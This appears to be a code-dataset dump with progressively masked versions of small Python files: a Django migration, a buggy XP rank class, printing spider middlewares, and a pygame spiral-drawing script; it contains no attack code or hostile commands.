{ "blob_id": "6f9f204cbd6817d5e40f57e71614ad03b64d9003", "index": 3152, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('website', '0001_initial')]\n operations = [migrations.AlterField(model_name='tasks', name=\n 'cleanlinessLevel', field=models.IntegerField())]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('website', '0001_initial')]\n operations = [migrations.AlterField(model_name='tasks', name=\n 'cleanlinessLevel', field=models.IntegerField())]\n", "step-5": "# Generated by Django 3.2.6 on 2021-08-15 05:17\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('website', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tasks',\n name='cleanlinessLevel',\n field=models.IntegerField(),\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import math class Rank: class Stats(object): '''Holds info used to calculate amount of xp a player gets''' post_likes = 0 post_dislikes = 0 comment_likes = 0 comment_dislikes = 0 usage = 0 class Interval(object): '''A class representing an interval. It is always [a, b).''' def __init__(self, a, b): self.a = a self.b = b def contains(self, n): return self.a >= n and n < b # Each index in this array corresponds to the level for that xp interval. XP_INTERVALS = [ Interval(0, 100), Interval(100, 250), Interval(250, 1000), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), Interval(100, 250), ] STAT_WORTH = { 'post_likes': 1, 'post_dislikes': -1, 'comment_likes': 1, 'comment_dislikes': -1, 'usage': 1 } # Tweaks how far apart each of the levels are. For example, the closer to # zero this is, the further apart the levels. LEVEL_RATE = 0.2 def __init__(self): self._xp = 0 self._level = 0 self._label = '' def consume_stats(self, stats): total_arr = [ STAT_WORTH['post_likes']*stats.post_likes, STAT_WORTH['post_dislikes']*stats.post_dislikes, STAT_WORTH['comment_likes']*stats.comment_likes, STAT_WORTH['comment_dislikes']*stats.comment_dislikes, STAT_WORTH['usage']*stats.usage, ] self._xp = sum(total_arr) self._level = self._calculate_level() def _calculate_level(self): return math.sqrt(LEVEL_RATE*self._xp) def from_model(self): pass def from_proto(self): pass def to_model(self): pass def to_proto(self): pass
normal
{ "blob_id": "cd0b55e163851344273ad020d434cc8662083d19", "index": 6593, "step-1": "<mask token>\n\n\nclass Rank:\n\n\n class Stats(object):\n \"\"\"Holds info used to calculate amount of xp a player gets\"\"\"\n post_likes = 0\n post_dislikes = 0\n comment_likes = 0\n comment_dislikes = 0\n usage = 0\n\n\n class Interval(object):\n \"\"\"A class representing an interval. It is always [a, b).\"\"\"\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def contains(self, n):\n return self.a >= n and n < b\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def from_model(self):\n pass\n\n def from_proto(self):\n pass\n\n def to_model(self):\n pass\n\n def to_proto(self):\n pass\n", "step-2": "<mask token>\n\n\nclass Rank:\n\n\n class Stats(object):\n \"\"\"Holds info used to calculate amount of xp a player gets\"\"\"\n post_likes = 0\n post_dislikes = 0\n comment_likes = 0\n comment_dislikes = 0\n usage = 0\n\n\n class Interval(object):\n \"\"\"A class representing an interval. It is always [a, b).\"\"\"\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def contains(self, n):\n return self.a >= n and n < b\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _calculate_level(self):\n return math.sqrt(LEVEL_RATE * self._xp)\n\n def from_model(self):\n pass\n\n def from_proto(self):\n pass\n\n def to_model(self):\n pass\n\n def to_proto(self):\n pass\n", "step-3": "<mask token>\n\n\nclass Rank:\n\n\n class Stats(object):\n \"\"\"Holds info used to calculate amount of xp a player gets\"\"\"\n post_likes = 0\n post_dislikes = 0\n comment_likes = 0\n comment_dislikes = 0\n usage = 0\n\n\n class Interval(object):\n \"\"\"A class representing an interval. It is always [a, b).\"\"\"\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def contains(self, n):\n return self.a >= n and n < b\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def consume_stats(self, stats):\n total_arr = [STAT_WORTH['post_likes'] * stats.post_likes, \n STAT_WORTH['post_dislikes'] * stats.post_dislikes, STAT_WORTH[\n 'comment_likes'] * stats.comment_likes, STAT_WORTH[\n 'comment_dislikes'] * stats.comment_dislikes, STAT_WORTH[\n 'usage'] * stats.usage]\n self._xp = sum(total_arr)\n self._level = self._calculate_level()\n\n def _calculate_level(self):\n return math.sqrt(LEVEL_RATE * self._xp)\n\n def from_model(self):\n pass\n\n def from_proto(self):\n pass\n\n def to_model(self):\n pass\n\n def to_proto(self):\n pass\n", "step-4": "<mask token>\n\n\nclass Rank:\n\n\n class Stats(object):\n \"\"\"Holds info used to calculate amount of xp a player gets\"\"\"\n post_likes = 0\n post_dislikes = 0\n comment_likes = 0\n comment_dislikes = 0\n usage = 0\n\n\n class Interval(object):\n \"\"\"A class representing an interval. It is always [a, b).\"\"\"\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def contains(self, n):\n return self.a >= n and n < b\n XP_INTERVALS = [Interval(0, 100), Interval(100, 250), Interval(250, \n 1000), Interval(100, 250), Interval(100, 250), Interval(100, 250),\n Interval(100, 250), Interval(100, 250), Interval(100, 250),\n Interval(100, 250), Interval(100, 250), Interval(100, 250),\n Interval(100, 250), Interval(100, 250)]\n STAT_WORTH = {'post_likes': 1, 'post_dislikes': -1, 'comment_likes': 1,\n 'comment_dislikes': -1, 'usage': 1}\n LEVEL_RATE = 0.2\n\n def __init__(self):\n self._xp = 0\n self._level = 0\n self._label = ''\n\n def consume_stats(self, stats):\n total_arr = [STAT_WORTH['post_likes'] * stats.post_likes, \n STAT_WORTH['post_dislikes'] * stats.post_dislikes, STAT_WORTH[\n 'comment_likes'] * stats.comment_likes, STAT_WORTH[\n 'comment_dislikes'] * stats.comment_dislikes, STAT_WORTH[\n 'usage'] * stats.usage]\n self._xp = sum(total_arr)\n self._level = self._calculate_level()\n\n def _calculate_level(self):\n return math.sqrt(LEVEL_RATE * self._xp)\n\n def from_model(self):\n pass\n\n def from_proto(self):\n pass\n\n def to_model(self):\n pass\n\n def to_proto(self):\n pass\n", "step-5": "import math\n\nclass Rank:\n\n class Stats(object):\n '''Holds info used to calculate amount of xp a player gets'''\n post_likes = 0\n post_dislikes = 0\n comment_likes = 0\n comment_dislikes = 0\n usage = 0\n\n class Interval(object):\n '''A class representing an interval. It is always [a, b).'''\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def contains(self, n):\n return self.a >= n and n < b\n\n # Each index in this array corresponds to the level for that xp interval.\n XP_INTERVALS = [\n Interval(0, 100),\n Interval(100, 250),\n Interval(250, 1000),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n Interval(100, 250),\n ]\n\n STAT_WORTH = {\n 'post_likes': 1,\n 'post_dislikes': -1,\n 'comment_likes': 1,\n 'comment_dislikes': -1,\n 'usage': 1\n }\n\n # Tweaks how far apart each of the levels are. For example, the closer to\n # zero this is, the further apart the levels.\n LEVEL_RATE = 0.2\n\n def __init__(self):\n self._xp = 0\n self._level = 0\n self._label = ''\n\n def consume_stats(self, stats):\n total_arr = [\n STAT_WORTH['post_likes']*stats.post_likes,\n STAT_WORTH['post_dislikes']*stats.post_dislikes,\n STAT_WORTH['comment_likes']*stats.comment_likes,\n STAT_WORTH['comment_dislikes']*stats.comment_dislikes,\n STAT_WORTH['usage']*stats.usage,\n ]\n self._xp = sum(total_arr)\n self._level = self._calculate_level()\n\n def _calculate_level(self):\n return math.sqrt(LEVEL_RATE*self._xp)\n\n def from_model(self):\n pass\n\n def from_proto(self):\n pass\n\n def to_model(self):\n pass\n\n def to_proto(self):\n pass\n", "step-ids": [ 5, 6, 7, 9, 11 ] }
[ 5, 6, 7, 9, 11 ]
# coding:utf-8 class SpiderMiddlewares1(object): def process_request(self, request): print(u"SpiderMiddlewares1 process_request {}".format(request.url)) return request def process_item(self, item): print(u"SpiderMiddlewares1 process_item {}".format(item.data)) return item class SpiderMiddlewares2(object): def process_request(self, request): print(u"SpiderMiddlewares2 process_request {}".format(request.url)) return request def process_item(self, item): print(u"SpiderMiddlewares2 process_item {}".format(item.data)) return item
normal
{ "blob_id": "8a2ab260f4758bcca7b1a68d1fb65b7eebab5533", "index": 2518, "step-1": "<mask token>\n\n\nclass SpiderMiddlewares2(object):\n\n def process_request(self, request):\n print(u'SpiderMiddlewares2 process_request {}'.format(request.url))\n return request\n\n def process_item(self, item):\n print(u'SpiderMiddlewares2 process_item {}'.format(item.data))\n return item\n", "step-2": "class SpiderMiddlewares1(object):\n <mask token>\n <mask token>\n\n\nclass SpiderMiddlewares2(object):\n\n def process_request(self, request):\n print(u'SpiderMiddlewares2 process_request {}'.format(request.url))\n return request\n\n def process_item(self, item):\n print(u'SpiderMiddlewares2 process_item {}'.format(item.data))\n return item\n", "step-3": "class SpiderMiddlewares1(object):\n <mask token>\n\n def process_item(self, item):\n print(u'SpiderMiddlewares1 process_item {}'.format(item.data))\n return item\n\n\nclass SpiderMiddlewares2(object):\n\n def process_request(self, request):\n print(u'SpiderMiddlewares2 process_request {}'.format(request.url))\n return request\n\n def process_item(self, item):\n print(u'SpiderMiddlewares2 process_item {}'.format(item.data))\n return item\n", "step-4": "class SpiderMiddlewares1(object):\n\n def process_request(self, request):\n print(u'SpiderMiddlewares1 process_request {}'.format(request.url))\n return request\n\n def process_item(self, item):\n print(u'SpiderMiddlewares1 process_item {}'.format(item.data))\n return item\n\n\nclass SpiderMiddlewares2(object):\n\n def process_request(self, request):\n print(u'SpiderMiddlewares2 process_request {}'.format(request.url))\n return request\n\n def process_item(self, item):\n print(u'SpiderMiddlewares2 process_item {}'.format(item.data))\n return item\n", "step-5": "# coding:utf-8\n\n\nclass SpiderMiddlewares1(object):\n def process_request(self, request):\n print(u\"SpiderMiddlewares1 process_request {}\".format(request.url))\n return request\n\n def process_item(self, item):\n print(u\"SpiderMiddlewares1 process_item {}\".format(item.data))\n return item\n\n\nclass SpiderMiddlewares2(object):\n def process_request(self, request):\n print(u\"SpiderMiddlewares2 process_request {}\".format(request.url))\n return request\n\n def process_item(self, item):\n print(u\"SpiderMiddlewares2 process_item {}\".format(item.data))\n return item\n\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> def next_point(p1, p2): diff_x = p1[0] - p2[0] diff_y = p1[1] - p2[1] angle = arctan(abs(diff_x) / abs(diff_y)) new_diff_x = int(sin(angle) * curr_length) new_diff_y = int(cos(angle) * curr_length) new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y return [new_x, new_y] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def next_point(p1, p2): diff_x = p1[0] - p2[0] diff_y = p1[1] - p2[1] angle = arctan(abs(diff_x) / abs(diff_y)) new_diff_x = int(sin(angle) * curr_length) new_diff_y = int(cos(angle) * curr_length) new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y return [new_x, new_y] pygame.init() <|reserved_special_token_0|> pygame.display.set_caption('Create a spiral drawing') <|reserved_special_token_0|> screen.fill(background) <|reserved_special_token_0|> curr_length += adder <|reserved_special_token_0|> for p1, p2 in zip(points, new_points): pygame.draw.line(screen, colors[1], p1, p2) for j in range(squares): curr_length += adder points = new_points new_points = [0, 0, 0, 0] if rotate and j % 40 == 0: old = colors colors = [old[3], old[0], old[1], old[2]] for i in range(len(points)): p1 = points[i] p2 = points[(i + 1) % 4] p1_new = next_point(p1, p2) new_points[(i + 1) % 4] = p1_new col = colors[0] if same_colors else colors[i] fact = j * gradient if shade else 1 new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] - fact) pygame.draw.line(screen, new_col, p1, p1_new) pygame.display.flip() while not done: clock.tick(10) for event in pygame.event.get(): if event.type == pygame.QUIT: done = True pygame.display.iconify() <|reserved_special_token_0|> if filename != '0': pygame.image.save(screen, path.join('images', filename + '.jpeg')) <|reserved_special_token_1|> <|reserved_special_token_0|> BLACK = 0, 0, 0 WHITE = 255, 255, 255 WHITEGRAY = 192, 192, 192 RED = 255, 0, 0 MIDRED = 192, 0, 0 DARKRED = 128, 0, 0 MAROON = 80, 0, 0 GREEN = 0, 255, 0 DARKGREEN = 0, 128, 0 GREYGREEN = 0, 128, 128 MINT = 51, 153, 102 JADE = 0, 250, 154 BLUE = 0, 0, 255 NAVY = 0, 102, 204 DARKBLUE = 0, 0, 128 MIDBLUE = 0, 0, 192 PINK = 255, 0, 255 YELLOW = 255, 255, 0 MIDYELLOW = 192, 192, 0 MODESTYELLOW = 128, 128, 0 CYAN = 0, 255, 255 ORANGE = 255, 102, 0 MIDORANGE = 192, 79, 0 PURPLE = 128, 0, 128 MIDPURPLE = 192, 0, 192 sunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE] ocean = [GREEN, BLUE, CYAN, PINK] carousel = [RED, YELLOW, GREEN, YELLOW] summer = [GREEN, YELLOW, GREEN, BLUE] aspect_ratio = 3840 / 2160 x = 1540 y = int(x / aspect_ratio) size = [x, y] colors = ocean background = BLACK squares = 800 shade = True gradient = 1.5 rotate = False same_colors = False curr_length = 4 adder = 4 distance = lambda p1, p2: sqrt((p1[0] - p2[0]) ** 2 + (p1[1] - p2[1]) ** 2) bound = lambda x: 0 if x < 0 else min(255, x) def next_point(p1, p2): diff_x = p1[0] - p2[0] diff_y = p1[1] - p2[1] angle = arctan(abs(diff_x) / abs(diff_y)) new_diff_x = int(sin(angle) * curr_length) new_diff_y = int(cos(angle) * curr_length) new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y return [new_x, new_y] pygame.init() screen = pygame.display.set_mode(size) pygame.display.set_caption('Create a spiral drawing') done = False clock = pygame.time.Clock() screen.fill(background) p1 = [x // 2 - curr_length // 2, y // 2 - curr_length // 2] p2 = [x // 2 + curr_length // 2, y // 2 - curr_length // 2] p3 = [x // 2 + curr_length // 2, y // 2 + curr_length // 2] p4 = [x // 2 - curr_length // 2, y // 2 + curr_length // 2] points = [p1, p2, p3, p4] curr_length += adder p12 = [p1[0] + curr_length, p1[1]] p22 = [p2[0], p2[1] + curr_length] p32 = [p3[0] - curr_length, p3[1]] p42 = [p4[0], p4[1] - curr_length] new_points = [p12, p22, p32, p42] for p1, p2 in zip(points, new_points): pygame.draw.line(screen, colors[1], p1, p2) for j in range(squares): curr_length += adder points = new_points new_points = [0, 0, 0, 0] if rotate and j % 40 == 0: old = colors colors = [old[3], old[0], old[1], old[2]] for i in range(len(points)): p1 = points[i] p2 = points[(i + 1) % 4] p1_new = next_point(p1, p2) new_points[(i + 1) % 4] = p1_new col = colors[0] if same_colors else colors[i] fact = j * gradient if shade else 1 new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] - fact) pygame.draw.line(screen, new_col, p1, p1_new) pygame.display.flip() while not done: clock.tick(10) for event in pygame.event.get(): if event.type == pygame.QUIT: done = True pygame.display.iconify() filename = input('Enter filename with no extension or 0 to quit: ') if filename != '0': pygame.image.save(screen, path.join('images', filename + '.jpeg')) <|reserved_special_token_1|> import pygame from math import sqrt, sin, cos from numpy import arctan from os import path BLACK = 0, 0, 0 WHITE = 255, 255, 255 WHITEGRAY = 192, 192, 192 RED = 255, 0, 0 MIDRED = 192, 0, 0 DARKRED = 128, 0, 0 MAROON = 80, 0, 0 GREEN = 0, 255, 0 DARKGREEN = 0, 128, 0 GREYGREEN = 0, 128, 128 MINT = 51, 153, 102 JADE = 0, 250, 154 BLUE = 0, 0, 255 NAVY = 0, 102, 204 DARKBLUE = 0, 0, 128 MIDBLUE = 0, 0, 192 PINK = 255, 0, 255 YELLOW = 255, 255, 0 MIDYELLOW = 192, 192, 0 MODESTYELLOW = 128, 128, 0 CYAN = 0, 255, 255 ORANGE = 255, 102, 0 MIDORANGE = 192, 79, 0 PURPLE = 128, 0, 128 MIDPURPLE = 192, 0, 192 sunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE] ocean = [GREEN, BLUE, CYAN, PINK] carousel = [RED, YELLOW, GREEN, YELLOW] summer = [GREEN, YELLOW, GREEN, BLUE] aspect_ratio = 3840 / 2160 x = 1540 y = int(x / aspect_ratio) size = [x, y] colors = ocean background = BLACK squares = 800 shade = True gradient = 1.5 rotate = False same_colors = False curr_length = 4 adder = 4 distance = lambda p1, p2: sqrt((p1[0] - p2[0]) ** 2 + (p1[1] - p2[1]) ** 2) bound = lambda x: 0 if x < 0 else min(255, x) def next_point(p1, p2): diff_x = p1[0] - p2[0] diff_y = p1[1] - p2[1] angle = arctan(abs(diff_x) / abs(diff_y)) new_diff_x = int(sin(angle) * curr_length) new_diff_y = int(cos(angle) * curr_length) new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y return [new_x, new_y] pygame.init() screen = pygame.display.set_mode(size) pygame.display.set_caption('Create a spiral drawing') done = False clock = pygame.time.Clock() screen.fill(background) p1 = [x // 2 - curr_length // 2, y // 2 - curr_length // 2] p2 = [x // 2 + curr_length // 2, y // 2 - curr_length // 2] p3 = [x // 2 + curr_length // 2, y // 2 + curr_length // 2] p4 = [x // 2 - curr_length // 2, y // 2 + curr_length // 2] points = [p1, p2, p3, p4] curr_length += adder p12 = [p1[0] + curr_length, p1[1]] p22 = [p2[0], p2[1] + curr_length] p32 = [p3[0] - curr_length, p3[1]] p42 = [p4[0], p4[1] - curr_length] new_points = [p12, p22, p32, p42] for p1, p2 in zip(points, new_points): pygame.draw.line(screen, colors[1], p1, p2) for j in range(squares): curr_length += adder points = new_points new_points = [0, 0, 0, 0] if rotate and j % 40 == 0: old = colors colors = [old[3], old[0], old[1], old[2]] for i in range(len(points)): p1 = points[i] p2 = points[(i + 1) % 4] p1_new = next_point(p1, p2) new_points[(i + 1) % 4] = p1_new col = colors[0] if same_colors else colors[i] fact = j * gradient if shade else 1 new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] - fact) pygame.draw.line(screen, new_col, p1, p1_new) pygame.display.flip() while not done: clock.tick(10) for event in pygame.event.get(): if event.type == pygame.QUIT: done = True pygame.display.iconify() filename = input('Enter filename with no extension or 0 to quit: ') if filename != '0': pygame.image.save(screen, path.join('images', filename + '.jpeg')) <|reserved_special_token_1|> import pygame from math import sqrt, sin, cos from numpy import arctan from os import path # try these colors or create your own! # each valid color is 3-tuple with values in range [0, 255] BLACK = (0, 0, 0) WHITE = (255, 255, 255) WHITEGRAY = (192, 192, 192) RED = (255, 0, 0) MIDRED = (192, 0, 0) DARKRED = (128, 0, 0) MAROON = (80, 0, 0) GREEN = (0, 255, 0) DARKGREEN = (0, 128, 0) GREYGREEN = (0, 128, 128) MINT = (51,153,102) JADE = (0, 250, 154) BLUE = (0, 0, 255) NAVY = (0, 102, 204) DARKBLUE = (0, 0, 128) MIDBLUE = (0, 0, 192) PINK = (255, 0, 255) YELLOW = (255, 255, 0) MIDYELLOW = (192, 192, 0) MODESTYELLOW = (128, 128, 0) CYAN = (0, 255, 255) ORANGE = (255, 102, 0) MIDORANGE = (192, 79, 0) PURPLE = (128, 0, 128) MIDPURPLE = (192, 0, 192) sunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE] ocean = [GREEN, BLUE, CYAN, PINK] carousel = [RED, YELLOW, GREEN, YELLOW] # trying running this with rotate summer = [GREEN, YELLOW, GREEN, BLUE] #--------------CONFIGURATIONS---------------- # various configurations change the way image is displayed # feel free to play around and see how the image changes aspect_ratio = 3840 / 2160 # set this to the aspect ratio of your screen x = 1540 # width of the window y = int(x / aspect_ratio) # height of your screen size = [x, y] # Try out preset colorschemes or try out new ones colors = ocean background = BLACK squares = 800 # number of squares drawn in the window shade = True # creates fading effect on the colors as spiral moves outward gradient = 1.5 # recommend 1.05 for dark colors (128-192) and 1.4 for light colors (255) rotate = False # rotates colors around the spiral same_colors = False # use the same color for all sides of a each square in the spiral curr_length = 4 # starting side length of the first square in the spiral # determines how tightly spiral is wound - rate at which the side lengths grow linearly # use carefully, may cause divide by zero error for certain increments adder = 4 #--------------HELPER FUNCTIONS--------------- distance = lambda p1, p2: sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2) # get distance b/t two points bound = lambda x: 0 if x < 0 else min(255, x) # keep color values within [0,255] def next_point(p1, p2): diff_x = p1[0] - p2[0] diff_y = p1[1] - p2[1] #calculate next point using triangle geometry angle = arctan(abs(diff_x) / abs(diff_y)) new_diff_x = int(sin(angle) * curr_length) new_diff_y = int(cos(angle) * curr_length) new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y return [new_x, new_y] #--------------INITIALIZATION----------------- pygame.init() screen = pygame.display.set_mode(size) pygame.display.set_caption("Create a spiral drawing") done = False clock = pygame.time.Clock() screen.fill(background) #-----------------ARTWORK--------------------- p1 = [x//2 - curr_length//2, y//2 - curr_length//2] p2 = [x//2 + curr_length//2, y//2 - curr_length//2] p3 = [x//2 + curr_length//2, y//2 + curr_length//2] p4 = [x//2 - curr_length//2, y//2 + curr_length//2] points = [p1, p2, p3, p4] #end of each line curr_length += adder p12 = [p1[0] + curr_length, p1[1]] p22 = [p2[0], p2[1] + curr_length] p32 = [p3[0] - curr_length, p3[1]] p42 = [p4[0], p4[1] - curr_length] new_points = [p12, p22, p32, p42] for p1, p2 in zip(points, new_points): pygame.draw.line(screen, colors[1], p1, p2) # every iteration draws a new square and updates the points for j in range(squares): curr_length += adder points = new_points new_points = [0, 0, 0, 0] if rotate and j % 40 == 0: # change colors every 10 squares old = colors colors = [old[3], old[0], old[1], old[2]] # shuffle colors to create rotating effect # every iteration calculates a new point and draws line from points[i] to new point for i in range(len(points)): p1 = points[i] p2 = points[(i+1)%4] p1_new = next_point(p1,p2) new_points[(i+1)%4] = p1_new col = colors[0] if same_colors else colors[i] fact = j * gradient if shade else 1 # with shade set, colors naturally fade to black new_col = (bound(col[0] - fact), bound(col[1] - fact), bound(col[2] - fact)) pygame.draw.line(screen, new_col, p1, p1_new) pygame.display.flip() #----------------EVENT LOOP------------------- while not done: clock.tick(10) for event in pygame.event.get(): if event.type == pygame.QUIT: # If user clicked close done = True pygame.display.iconify() filename = input("Enter filename with no extension or 0 to quit: ") if filename != "0": pygame.image.save(screen, path.join("images", filename + ".jpeg"))
flexible
{ "blob_id": "838279b4f8d9e656c2f90ff06eaff3bd9c12bbef", "index": 3265, "step-1": "<mask token>\n\n\ndef next_point(p1, p2):\n diff_x = p1[0] - p2[0]\n diff_y = p1[1] - p2[1]\n angle = arctan(abs(diff_x) / abs(diff_y))\n new_diff_x = int(sin(angle) * curr_length)\n new_diff_y = int(cos(angle) * curr_length)\n new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x\n new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y\n return [new_x, new_y]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef next_point(p1, p2):\n diff_x = p1[0] - p2[0]\n diff_y = p1[1] - p2[1]\n angle = arctan(abs(diff_x) / abs(diff_y))\n new_diff_x = int(sin(angle) * curr_length)\n new_diff_y = int(cos(angle) * curr_length)\n new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x\n new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y\n return [new_x, new_y]\n\n\npygame.init()\n<mask token>\npygame.display.set_caption('Create a spiral drawing')\n<mask token>\nscreen.fill(background)\n<mask token>\ncurr_length += adder\n<mask token>\nfor p1, p2 in zip(points, new_points):\n pygame.draw.line(screen, colors[1], p1, p2)\nfor j in range(squares):\n curr_length += adder\n points = new_points\n new_points = [0, 0, 0, 0]\n if rotate and j % 40 == 0:\n old = colors\n colors = [old[3], old[0], old[1], old[2]]\n for i in range(len(points)):\n p1 = points[i]\n p2 = points[(i + 1) % 4]\n p1_new = next_point(p1, p2)\n new_points[(i + 1) % 4] = p1_new\n col = colors[0] if same_colors else colors[i]\n fact = j * gradient if shade else 1\n new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] -\n fact)\n pygame.draw.line(screen, new_col, p1, p1_new)\npygame.display.flip()\nwhile not done:\n clock.tick(10)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\npygame.display.iconify()\n<mask token>\nif filename != '0':\n pygame.image.save(screen, path.join('images', filename + '.jpeg'))\n", "step-3": "<mask token>\nBLACK = 0, 0, 0\nWHITE = 255, 255, 255\nWHITEGRAY = 192, 192, 192\nRED = 255, 0, 0\nMIDRED = 192, 0, 0\nDARKRED = 128, 0, 0\nMAROON = 80, 0, 0\nGREEN = 0, 255, 0\nDARKGREEN = 0, 128, 0\nGREYGREEN = 0, 128, 128\nMINT = 51, 153, 102\nJADE = 0, 250, 154\nBLUE = 0, 0, 255\nNAVY = 0, 102, 204\nDARKBLUE = 0, 0, 128\nMIDBLUE = 0, 0, 192\nPINK = 255, 0, 255\nYELLOW = 255, 255, 0\nMIDYELLOW = 192, 192, 0\nMODESTYELLOW = 128, 128, 0\nCYAN = 0, 255, 255\nORANGE = 255, 102, 0\nMIDORANGE = 192, 79, 0\nPURPLE = 128, 0, 128\nMIDPURPLE = 192, 0, 192\nsunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE]\nocean = [GREEN, BLUE, CYAN, PINK]\ncarousel = [RED, YELLOW, GREEN, YELLOW]\nsummer = [GREEN, YELLOW, GREEN, BLUE]\naspect_ratio = 3840 / 2160\nx = 1540\ny = int(x / aspect_ratio)\nsize = [x, y]\ncolors = ocean\nbackground = BLACK\nsquares = 800\nshade = True\ngradient = 1.5\nrotate = False\nsame_colors = False\ncurr_length = 4\nadder = 4\ndistance = lambda p1, p2: sqrt((p1[0] - p2[0]) ** 2 + (p1[1] - p2[1]) ** 2)\nbound = lambda x: 0 if x < 0 else min(255, x)\n\n\ndef next_point(p1, p2):\n diff_x = p1[0] - p2[0]\n diff_y = p1[1] - p2[1]\n angle = arctan(abs(diff_x) / abs(diff_y))\n new_diff_x = int(sin(angle) * curr_length)\n new_diff_y = int(cos(angle) * curr_length)\n new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x\n new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y\n return [new_x, new_y]\n\n\npygame.init()\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption('Create a spiral drawing')\ndone = False\nclock = pygame.time.Clock()\nscreen.fill(background)\np1 = [x // 2 - curr_length // 2, y // 2 - curr_length // 2]\np2 = [x // 2 + curr_length // 2, y // 2 - curr_length // 2]\np3 = [x // 2 + curr_length // 2, y // 2 + curr_length // 2]\np4 = [x // 2 - curr_length // 2, y // 2 + curr_length // 2]\npoints = [p1, p2, p3, p4]\ncurr_length += adder\np12 = [p1[0] + curr_length, p1[1]]\np22 = [p2[0], p2[1] + curr_length]\np32 = [p3[0] - curr_length, p3[1]]\np42 = [p4[0], p4[1] - curr_length]\nnew_points = [p12, p22, p32, p42]\nfor p1, p2 in zip(points, new_points):\n pygame.draw.line(screen, colors[1], p1, p2)\nfor j in range(squares):\n curr_length += adder\n points = new_points\n new_points = [0, 0, 0, 0]\n if rotate and j % 40 == 0:\n old = colors\n colors = [old[3], old[0], old[1], old[2]]\n for i in range(len(points)):\n p1 = points[i]\n p2 = points[(i + 1) % 4]\n p1_new = next_point(p1, p2)\n new_points[(i + 1) % 4] = p1_new\n col = colors[0] if same_colors else colors[i]\n fact = j * gradient if shade else 1\n new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] -\n fact)\n pygame.draw.line(screen, new_col, p1, p1_new)\npygame.display.flip()\nwhile not done:\n clock.tick(10)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\npygame.display.iconify()\nfilename = input('Enter filename with no extension or 0 to quit: ')\nif filename != '0':\n pygame.image.save(screen, path.join('images', filename + '.jpeg'))\n", "step-4": "import pygame\nfrom math import sqrt, sin, cos\nfrom numpy import arctan\nfrom os import path\nBLACK = 0, 0, 0\nWHITE = 255, 255, 255\nWHITEGRAY = 192, 192, 192\nRED = 255, 0, 0\nMIDRED = 192, 0, 0\nDARKRED = 128, 0, 0\nMAROON = 80, 0, 0\nGREEN = 0, 255, 0\nDARKGREEN = 0, 128, 0\nGREYGREEN = 0, 128, 128\nMINT = 51, 153, 102\nJADE = 0, 250, 154\nBLUE = 0, 0, 255\nNAVY = 0, 102, 204\nDARKBLUE = 0, 0, 128\nMIDBLUE = 0, 0, 192\nPINK = 255, 0, 255\nYELLOW = 255, 255, 0\nMIDYELLOW = 192, 192, 0\nMODESTYELLOW = 128, 128, 0\nCYAN = 0, 255, 255\nORANGE = 255, 102, 0\nMIDORANGE = 192, 79, 0\nPURPLE = 128, 0, 128\nMIDPURPLE = 192, 0, 192\nsunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE]\nocean = [GREEN, BLUE, CYAN, PINK]\ncarousel = 